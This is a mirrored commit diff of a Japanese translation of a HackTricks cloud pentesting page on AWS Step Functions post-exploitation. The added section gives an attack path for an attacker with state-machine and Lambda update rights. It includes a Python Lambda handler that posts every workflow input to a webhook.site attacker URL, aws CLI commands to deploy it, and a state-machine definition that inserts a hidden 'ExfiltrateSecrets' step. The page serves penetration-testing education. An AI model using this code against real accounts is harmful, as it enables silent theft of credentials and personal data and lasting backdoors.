mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-28 21:53:15 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws
This commit is contained in:
@@ -52,15 +52,133 @@ aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value
|
||||
```bash
|
||||
aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
|
||||
```
|
||||
- **潜在的な影響**: 進行中のワークフローの中断、運用のダウンタイム、及び潜在的なデータの破損。
|
||||
- **潜在的な影響**: 継続中のワークフローの中断、運用のダウンタイム、及び潜在的なデータの破損。
|
||||
|
||||
### `states:TagResource`, `states:UntagResource`
|
||||
|
||||
攻撃者は、Step Functionsリソースからタグを追加、変更、または削除することができ、組織のコスト配分、リソース追跡、及びタグに基づくアクセス制御ポリシーを混乱させる可能性があります。
|
||||
攻撃者は、Step Functionsリソースからタグを追加、変更、または削除することができ、タグに基づく組織のコスト配分、リソース追跡、及びアクセス制御ポリシーを混乱させる可能性があります。
|
||||
```bash
|
||||
aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
|
||||
aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
|
||||
```
|
||||
**潜在的な影響**: コスト配分、リソース追跡、およびタグベースのアクセス制御ポリシーの混乱。
|
||||
|
||||
---
|
||||
|
||||
### `states:UpdateStateMachine`, `lambda:UpdateFunctionCode`
|
||||
|
||||
次の権限を持つユーザーまたはロールを侵害した攻撃者:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "AllowUpdateStateMachine",
|
||||
"Effect": "Allow",
|
||||
"Action": "states:UpdateStateMachine",
|
||||
"Resource": "*"
|
||||
},
|
||||
{
|
||||
"Sid": "AllowUpdateFunctionCode",
|
||||
"Effect": "Allow",
|
||||
"Action": "lambda:UpdateFunctionCode",
|
||||
"Resource": "*"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
...は、LambdaのバックドアとStep Functionのロジック操作を組み合わせることで、**高影響かつステルスなポストエクスプロイテーション攻撃**を実行できます。
|
||||
|
||||
このシナリオでは、被害者が**AWS Step Functionsを使用して、資格情報、トークン、またはPIIなどの機密入力を処理するワークフローをオーケストレーションしている**と仮定します。
|
||||
|
||||
例の被害者の呼び出し:
|
||||
```bash
|
||||
aws stepfunctions start-execution \
|
||||
--state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
|
||||
--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim
|
||||
```
|
||||
もしStep Functionが`LegitBusinessLogic`のようなLambdaを呼び出すように設定されている場合、攻撃者は**2つのステルス攻撃バリアント**を進めることができます:
|
||||
|
||||
---
|
||||
|
||||
#### ラムダ関数を更新した
|
||||
|
||||
攻撃者は、Step Functionによって既に使用されているLambda関数(`LegitBusinessLogic`)のコードを修正し、入力データを静かに外部に流出させます。
|
||||
```python
|
||||
# send_to_attacker.py
|
||||
import requests
|
||||
|
||||
def lambda_handler(event, context):
|
||||
requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
|
||||
return {"status": "exfiltrated"}
|
||||
```
|
||||
|
||||
```bash
|
||||
zip function.zip send_to_attacker.py
|
||||
|
||||
aws lambda update-function-code \
|
||||
--function-name LegitBusinessLogic \
|
||||
--zip-file fileb://function.zip -profile attacker
|
||||
```
|
||||
---
|
||||
|
||||
#### ステップ関数に悪意のある状態を追加する
|
||||
|
||||
代わりに、攻撃者はステップ関数の定義を更新することで、ワークフローの最初に**エクスフィルトレーション状態**を挿入することができます。
|
||||
```malicious_state_definition.json
|
||||
{
|
||||
"Comment": "Backdoored for Exfiltration",
|
||||
"StartAt": "OriginalState",
|
||||
"States": {
|
||||
"OriginalState": {
|
||||
"Type": "Task",
|
||||
"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
|
||||
"End": true
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
```bash
|
||||
aws stepfunctions update-state-machine \
|
||||
--state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
|
||||
--definition file://malicious_state_definition.json --profile attacker
|
||||
```
|
||||
攻撃者は、状態定義を次のように更新することで、さらにステルス性を高めることができます。
|
||||
{
|
||||
"Comment": "Exfiltrationのためのバックドア",
|
||||
"StartAt": "ExfiltrateSecrets",
|
||||
"States": {
|
||||
"ExfiltrateSecrets": {
|
||||
"Type": "Task",
|
||||
"Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker",
|
||||
"InputPath": "$",
|
||||
"ResultPath": "$.exfil",
|
||||
"Next": "OriginalState"
|
||||
},
|
||||
"OriginalState": {
|
||||
"Type": "Task",
|
||||
"Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic",
|
||||
"End": true
|
||||
}
|
||||
}
|
||||
}
|
||||
被害者は違いに気づかないでしょう。
|
||||
|
||||
---
|
||||
|
||||
### 被害者のセットアップ(エクスプロイトのコンテキスト)
|
||||
|
||||
- ステップ関数(`LegitStateMachine`)は、機密のユーザー入力を処理するために使用されます。
|
||||
- それは、`LegitBusinessLogic`などの1つ以上のLambda関数を呼び出します。
|
||||
|
||||
---
|
||||
|
||||
**潜在的な影響**:
|
||||
- 秘密、資格情報、APIキー、PIIを含む機密データの静かな抽出。
|
||||
- ワークフロー実行における目に見えるエラーや失敗はありません。
|
||||
- Lambdaコードや実行トレースを監査しない限り、検出が困難です。
|
||||
- バックドアがコードやASLロジックに残っている場合、長期的な持続性を可能にします。
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user